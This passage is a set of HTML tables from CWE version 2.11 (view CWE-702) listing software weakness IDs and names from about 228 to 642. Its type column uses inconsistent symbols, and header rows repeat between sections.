<td>Improper Handling of Syntactically Invalid Structure</td>
</tr>
<tr>
<td>🐎</td>
<td>229</td>
<td>Improper Handling of Values</td>
</tr>
<tr>
<td>🐎</td>
<td>230</td>
<td>Improper Handling of Missing Values</td>
</tr>
<tr>
<td>🐎</td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
</tr>
<tr>
<td>🐎</td>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
</tr>
<tr>
<td>🐎</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
</tr>
<tr>
<td>🐎</td>
<td>234</td>
<td>Failure to Handle Missing Parameter</td>
</tr>
<tr>
<td>🐎</td>
<td>235</td>
<td>Improper Handling of Extra Parameters</td>
</tr>
<tr>
<td>🐎</td>
<td>236</td>
<td>Improper Handling of Undefined Parameters</td>
</tr>
<tr>
<td>🐎</td>
<td>238</td>
<td>Improper Handling of Incomplete Structural Elements</td>
</tr>
<tr>
<td>🐎</td>
<td>239</td>
<td>Failure to Handle Incomplete Element</td>
</tr>
<tr>
<td>🐎</td>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
</tr>
<tr>
<td>🐎</td>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
</tr>
<tr>
<td>🐎</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>🐎</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
</tr>
<tr>
<td>🐎</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
</tr>
</tbody>
</table>
### CWE Version 2.11

**CWE-702: Weaknesses Introduced During Implementation**

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>v</td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
</tr>
<tr>
<td>v</td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
</tr>
<tr>
<td>b</td>
<td>248</td>
<td>Uncaught Exception</td>
</tr>
<tr>
<td>b</td>
<td>252</td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td>b</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
</tr>
<tr>
<td>v</td>
<td>258</td>
<td>Empty Password in Configuration File</td>
</tr>
<tr>
<td>v</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
</tr>
<tr>
<td>b</td>
<td>260</td>
<td>Password in Configuration File</td>
</tr>
<tr>
<td>b</td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
</tr>
<tr>
<td>b</td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
</tr>
<tr>
<td>b</td>
<td>268</td>
<td>Privilege Chaining</td>
</tr>
<tr>
<td>b</td>
<td>269</td>
<td>Improper Privilege Management</td>
</tr>
<tr>
<td>b</td>
<td>270</td>
<td>Privilege Context Switching Error</td>
</tr>
<tr>
<td>b</td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
</tr>
<tr>
<td>b</td>
<td>272</td>
<td>Least Privilege Violation</td>
</tr>
<tr>
<td>b</td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
</tr>
<tr>
<td>b</td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
</tr>
<tr>
<td>v</td>
<td>276</td>
<td>Incorrect Default Permissions</td>
</tr>
<tr>
<td>v</td>
<td>277</td>
<td>Insecure Inherited Permissions</td>
</tr>
<tr>
<td>b</td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
</tr>
<tr>
<td>b</td>
<td>281</td>
<td>Improper Preservation of Permissions</td>
</tr>
<tr>
<td>c</td>
<td>284</td>
<td>Improper Access Control</td>
</tr>
<tr>
<td>b</td>
<td>286</td>
<td>Incorrect User Management</td>
</tr>
<tr>
<td>b</td>
<td>287</td>
<td>Improper Authorization</td>
</tr>
<tr>
<td>v</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
</tr>
<tr>
<td>b</td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
</tr>
<tr>
<td>v</td>
<td>295</td>
<td>Improper Certificate Validation</td>
</tr>
<tr>
<td>b</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
</tr>
<tr>
<td>b</td>
<td>303</td>
<td>Incorrect Implementation of Authentication Algorithm</td>
</tr>
<tr>
<td>b</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
</tr>
<tr>
<td>b</td>
<td>305</td>
<td>Authentication Bypass by Primary Weakness</td>
</tr>
<tr>
<td>v</td>
<td>318</td>
<td>Cleartext Storage of Sensitive Information in Executable</td>
</tr>
<tr>
<td>v</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
</tr>
<tr>
<td>c</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
</tr>
<tr>
<td>b</td>
<td>331</td>
<td>Insufficient Entropy</td>
</tr>
<tr>
<td>v</td>
<td>332</td>
<td>Insufficient Entropy in PRNG</td>
</tr>
<tr>
<td>v</td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
</tr>
<tr>
<td>b</td>
<td>334</td>
<td>Small Space of Random Values</td>
</tr>
<tr>
<td>c</td>
<td>335</td>
<td>PRNG Seed Error</td>
</tr>
<tr>
<td>b</td>
<td>336</td>
<td>Same Seed in PRNG</td>
</tr>
<tr>
<td>b</td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
</tr>
<tr>
<td>b</td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
</tr>
<tr>
<td>b</td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
</tr>
<tr>
<td>c</td>
<td>340</td>
<td>Predictability Problems</td>
</tr>
<tr>
<td>b</td>
<td>341</td>
<td>Predictable from Observable State</td>
</tr>
<tr>
<td>b</td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
</tr>
<tr>
<td>b</td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
</tr>
<tr>
<td>b</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
</tr>
<tr>
<td>c</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>----------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>346</td>
<td>Origin Validation Error</td>
</tr>
<tr>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
<tr>
<td></td>
<td>348</td>
<td>Use of Less Trusted Source</td>
</tr>
<tr>
<td></td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
</tr>
<tr>
<td></td>
<td>351</td>
<td>Insufficient Type Distinction</td>
</tr>
<tr>
<td></td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
</tr>
<tr>
<td></td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
</tr>
<tr>
<td></td>
<td>356</td>
<td>Product UI does not Warn User of Unsafe Actions</td>
</tr>
<tr>
<td></td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
</tr>
<tr>
<td></td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
<tr>
<td></td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
</tr>
<tr>
<td></td>
<td>360</td>
<td>Trust of System Event Data</td>
</tr>
<tr>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td></td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
</tr>
<tr>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
</tr>
<tr>
<td></td>
<td>368</td>
<td>Context Switching Race Condition</td>
</tr>
<tr>
<td></td>
<td>369</td>
<td>Divide By Zero</td>
</tr>
<tr>
<td></td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
</tr>
<tr>
<td></td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
</tr>
<tr>
<td></td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td></td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
</tr>
<tr>
<td></td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
</tr>
<tr>
<td></td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
</tr>
<tr>
<td></td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
</tr>
<tr>
<td></td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
</tr>
<tr>
<td></td>
<td>384</td>
<td>Session Fixation</td>
</tr>
<tr>
<td></td>
<td>385</td>
<td>Covert Timing Channel</td>
</tr>
<tr>
<td></td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
</tr>
<tr>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
</tr>
<tr>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
</tr>
<tr>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
</tr>
<tr>
<td></td>
<td>393</td>
<td>Return of Wrong Status Code</td>
</tr>
<tr>
<td></td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
</tr>
<tr>
<td></td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
</tr>
<tr>
<td></td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
</tr>
<tr>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
</tr>
<tr>
<td></td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td></td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
</tr>
<tr>
<td></td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')</td>
</tr>
<tr>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
</tr>
<tr>
<td></td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
</tr>
<tr>
<td></td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
</tr>
<tr>
<td></td>
<td>407</td>
<td>Algorithmic Complexity</td>
</tr>
<tr>
<td></td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>✡</td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
</tr>
<tr>
<td>✡</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td>✡</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
</tr>
<tr>
<td>✡</td>
<td>413</td>
<td>Improper Resource Locking</td>
</tr>
<tr>
<td>✡</td>
<td>414</td>
<td>Missing Lock Check</td>
</tr>
<tr>
<td>✡</td>
<td>415</td>
<td>Double Free</td>
</tr>
<tr>
<td>✡</td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td>✡</td>
<td>419</td>
<td>Unprotected Primary Channel</td>
</tr>
<tr>
<td>✡</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
</tr>
<tr>
<td>✡</td>
<td>425</td>
<td>Direct Request (‘Forced Browsing’)</td>
</tr>
<tr>
<td>✡</td>
<td>426</td>
<td>Untrusted Search Path</td>
</tr>
<tr>
<td>✡</td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
</tr>
<tr>
<td>✡</td>
<td>428</td>
<td>Unquoted Search Path or Element</td>
</tr>
<tr>
<td>✡</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
</tr>
<tr>
<td>✡</td>
<td>431</td>
<td>Missing Handler</td>
</tr>
<tr>
<td>✡</td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
</tr>
<tr>
<td>✡</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
</tr>
<tr>
<td>✡</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>✡</td>
<td>435</td>
<td>Interaction Error</td>
</tr>
<tr>
<td>✡</td>
<td>436</td>
<td>Interpretation Conflict</td>
</tr>
<tr>
<td>✡</td>
<td>437</td>
<td>Incomplete Model of Endpoint Features</td>
</tr>
<tr>
<td>✡</td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
</tr>
<tr>
<td>✡</td>
<td>440</td>
<td>Expected Behavior Violation</td>
</tr>
<tr>
<td>✡</td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests (‘HTTP Request Smuggling’)</td>
</tr>
<tr>
<td>✡</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
</tr>
<tr>
<td>✡</td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
</tr>
<tr>
<td>✡</td>
<td>448</td>
<td>Obsolete Feature in UI</td>
</tr>
<tr>
<td>✡</td>
<td>449</td>
<td>The UI Performs the Wrong Action</td>
</tr>
<tr>
<td>✡</td>
<td>450</td>
<td>Multiple Interpretations of UI Input</td>
</tr>
<tr>
<td>✡</td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
</tr>
<tr>
<td>✡</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>✡</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>✡</td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
</tr>
<tr>
<td>✡</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
</tr>
<tr>
<td>✡</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>✡</td>
<td>459</td>
<td>Incomplete Cleanup</td>
</tr>
<tr>
<td>✡</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td>✡</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>✡</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>✡</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>✡</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>✡</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td>✡</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td>✡</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td>✡</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code (‘Unsafe Reflection’)</td>
</tr>
<tr>
<td>✡</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>✡</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
</tr>
<tr>
<td>✡</td>
<td>473</td>
<td>PHP External Variable Modification</td>
</tr>
<tr>
<td>✡</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>✡</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
</tr>
<tr>
<td>✡</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>------------------------------------------------</td>
</tr>
<tr>
<td>🟢</td>
<td>477</td>
<td>Use of Obsolete Functions</td>
</tr>
<tr>
<td>🟢</td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td>🟢</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td>🟢</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
</tr>
<tr>
<td>🟢</td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td>🟢</td>
<td>482</td>
<td>Comparing instead of Assigning</td>
</tr>
<tr>
<td>🟢</td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
</tr>
<tr>
<td>🟢</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td>🟢</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
</tr>
<tr>
<td>🟢</td>
<td>486</td>
<td>Comparison of Classes by Name</td>
</tr>
<tr>
<td>🟢</td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
</tr>
<tr>
<td>🟢</td>
<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
</tr>
<tr>
<td>🟢</td>
<td>489</td>
<td>Leftover Debug Code</td>
</tr>
<tr>
<td>🟢</td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
</tr>
<tr>
<td>🟢</td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
</tr>
<tr>
<td>🟢</td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
</tr>
<tr>
<td>🟢</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>🟢</td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td>🟢</td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td>🟢</td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>🟢</td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
</tr>
<tr>
<td>🟢</td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
</tr>
<tr>
<td>🟢</td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
</tr>
<tr>
<td>🟢</td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
</tr>
<tr>
<td>🟢</td>
<td>506</td>
<td>Embedded Malicious Code</td>
</tr>
<tr>
<td>🟢</td>
<td>507</td>
<td>Trojan Horse</td>
</tr>
<tr>
<td>🟢</td>
<td>508</td>
<td>Non-Replicating Malicious Code</td>
</tr>
<tr>
<td>🟢</td>
<td>509</td>
<td>Replicating Malicious Code (Virus or Worm)</td>
</tr>
<tr>
<td>🟢</td>
<td>510</td>
<td>Trapdoor</td>
</tr>
<tr>
<td>🟢</td>
<td>511</td>
<td>Logic/Time Bomb</td>
</tr>
<tr>
<td>🟢</td>
<td>512</td>
<td>Spyware</td>
</tr>
<tr>
<td>🟢</td>
<td>514</td>
<td>Covert Channel</td>
</tr>
<tr>
<td>🟢</td>
<td>515</td>
<td>Covert Storage Channel</td>
</tr>
<tr>
<td>🟢</td>
<td>518</td>
<td>Inadvertently Introduced Weakness</td>
</tr>
<tr>
<td>🟢</td>
<td>520</td>
<td>.NET Misconfiguration: Use of Impersonation</td>
</tr>
<tr>
<td>🟢</td>
<td>521</td>
<td>Weak Password Requirements</td>
</tr>
<tr>
<td>🟢</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
</tr>
<tr>
<td>🟢</td>
<td>524</td>
<td>Information Exposure Through Caching</td>
</tr>
<tr>
<td>🟢</td>
<td>525</td>
<td>Information Exposure Through Browser Caching</td>
</tr>
<tr>
<td>🟢</td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
</tr>
<tr>
<td>🟢</td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>🟢</td>
<td>530</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>🟢</td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
</tr>
<tr>
<td>🟢</td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
</tr>
<tr>
<td>🟢</td>
<td>535</td>
<td>Information Exposure Through Shell Error Message</td>
</tr>
<tr>
<td>🟢</td>
<td>536</td>
<td>Information Exposure Through Servlet Runtime Error Message</td>
</tr>
<tr>
<td>🟢</td>
<td>537</td>
<td>Information Exposure Through Java Runtime Error Message</td>
</tr>
<tr>
<td>🟢</td>
<td>538</td>
<td>File and Directory Information Exposure</td>
</tr>
<tr>
<td>🟢</td>
<td>539</td>
<td>Information Exposure Through Persistent Cookies</td>
</tr>
<tr>
<td>🟢</td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>------</td>
<td>--------------------------------------------------------</td>
</tr>
<tr>
<td>v</td>
<td>541</td>
<td>Information Exposure Through Include Source Code</td>
</tr>
<tr>
<td>v</td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
</tr>
<tr>
<td>v</td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td>v</td>
<td>546</td>
<td>Suspicious Comment</td>
</tr>
<tr>
<td>v</td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
</tr>
<tr>
<td>v</td>
<td>548</td>
<td>Information Exposure Through Directory Listing</td>
</tr>
<tr>
<td>v</td>
<td>549</td>
<td>Missing Password Field Masking</td>
</tr>
<tr>
<td>v</td>
<td>550</td>
<td>Information Exposure Through Server Error Message</td>
</tr>
<tr>
<td>B</td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
</tr>
<tr>
<td>B</td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
</tr>
<tr>
<td>B</td>
<td>553</td>
<td>Command Shell in Externally Accessible Directory</td>
</tr>
<tr>
<td>B</td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
</tr>
<tr>
<td>B</td>
<td>555</td>
<td>J2EE Misconfiguration: Plaintext Password in Configuration File</td>
</tr>
<tr>
<td>B</td>
<td>556</td>
<td>ASP.NET Misconfiguration: Use of Identity Impersonation</td>
</tr>
<tr>
<td>B</td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
</tr>
<tr>
<td>B</td>
<td>560</td>
<td>Use of umask() with chmod-style Argument</td>
</tr>
<tr>
<td>B</td>
<td>561</td>
<td>Dead Code</td>
</tr>
<tr>
<td>B</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
</tr>
<tr>
<td>B</td>
<td>563</td>
<td>Assignment to Variable without Use (Unused Variable)</td>
</tr>
<tr>
<td>B</td>
<td>564</td>
<td>SQL Injection: Hibernate</td>
</tr>
<tr>
<td>B</td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
</tr>
<tr>
<td>B</td>
<td>566</td>
<td>Authorization Bypass Through User-Controlled SQL Primary Key</td>
</tr>
<tr>
<td>B</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
</tr>
<tr>
<td>B</td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
</tr>
<tr>
<td>B</td>
<td>570</td>
<td>Expression is Always False</td>
</tr>
<tr>
<td>B</td>
<td>571</td>
<td>Expression is Always True</td>
</tr>
<tr>
<td>B</td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
</tr>
<tr>
<td>B</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
</tr>
<tr>
<td>B</td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
<tr>
<td>B</td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
</tr>
<tr>
<td>B</td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
</tr>
<tr>
<td>B</td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
</tr>
<tr>
<td>B</td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td>B</td>
<td>579</td>
<td>J2EE Bad Practices: Non-serializable Object Stored in Session</td>
</tr>
<tr>
<td>B</td>
<td>580</td>
<td>clone() Method Without super.clone()</td>
</tr>
<tr>
<td>B</td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
</tr>
<tr>
<td>B</td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
</tr>
<tr>
<td>B</td>
<td>583</td>
<td>finalize() Method Declared Public</td>
</tr>
<tr>
<td>B</td>
<td>584</td>
<td>Return Inside Finally Block</td>
</tr>
<tr>
<td>B</td>
<td>585</td>
<td>Empty Synchronized Block</td>
</tr>
<tr>
<td>B</td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
</tr>
<tr>
<td>B</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>B</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
</tr>
<tr>
<td>B</td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
</tr>
<tr>
<td>B</td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
</tr>
<tr>
<td>B</td>
<td>591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
</tr>
<tr>
<td>B</td>
<td>593</td>
<td>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</td>
</tr>
<tr>
<td>B</td>
<td>594</td>
<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
</tr>
<tr>
<td>B</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
</tr>
<tr>
<td>B</td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>-------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td></td>
<td>598</td>
<td>Information Exposure Through Query Strings in GET Request</td>
</tr>
<tr>
<td></td>
<td>599</td>
<td>Missing Validation of OpenSSL Certificate</td>
</tr>
<tr>
<td></td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
</tr>
<tr>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
</tr>
<tr>
<td></td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
</tr>
<tr>
<td></td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
</tr>
<tr>
<td></td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
</tr>
<tr>
<td></td>
<td>607</td>
<td>Public Static Final Field References Mutable Object</td>
</tr>
<tr>
<td></td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
</tr>
<tr>
<td></td>
<td>609</td>
<td>Double-Checked Locking</td>
</tr>
<tr>
<td></td>
<td>611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
</tr>
<tr>
<td></td>
<td>612</td>
<td>Information Exposure Through Indexing of Private Data</td>
</tr>
<tr>
<td></td>
<td>613</td>
<td>Insufficient Session Expiration</td>
</tr>
<tr>
<td></td>
<td>614</td>
<td>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</td>
</tr>
<tr>
<td></td>
<td>615</td>
<td>Information Exposure Through Comments</td>
</tr>
<tr>
<td></td>
<td>616</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
</tr>
<tr>
<td></td>
<td>617</td>
<td>Reachable Assertion</td>
</tr>
<tr>
<td></td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
</tr>
<tr>
<td></td>
<td>619</td>
<td>Dangling Database Cursor ('Cursor Injection')</td>
</tr>
<tr>
<td></td>
<td>620</td>
<td>Unverified Password Change</td>
</tr>
<tr>
<td></td>
<td>621</td>
<td>Variable Extraction Error</td>
</tr>
<tr>
<td></td>
<td>622</td>
<td>Improper Validation of Function Hook Arguments</td>
</tr>
<tr>
<td></td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scripting</td>
</tr>
<tr>
<td></td>
<td>624</td>
<td>Executable Regular Expression Error</td>
</tr>
<tr>
<td></td>
<td>625</td>
<td>Permissive Regular Expression</td>
</tr>
<tr>
<td></td>
<td>626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
</tr>
<tr>
<td></td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
</tr>
<tr>
<td></td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
</tr>
<tr>
<td></td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
</tr>
<tr>
<td></td>
<td>637</td>
<td>Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')</td>
</tr>
<tr>
<td></td>
<td>638</td>
<td>Not Using Complete Mediation</td>
</tr>
<tr>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
</tr>
<tr>
<td></td>
<td>641</td>
<td>Improper Restriction of Names for Files and Other Resources</td>
</tr>
<tr>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
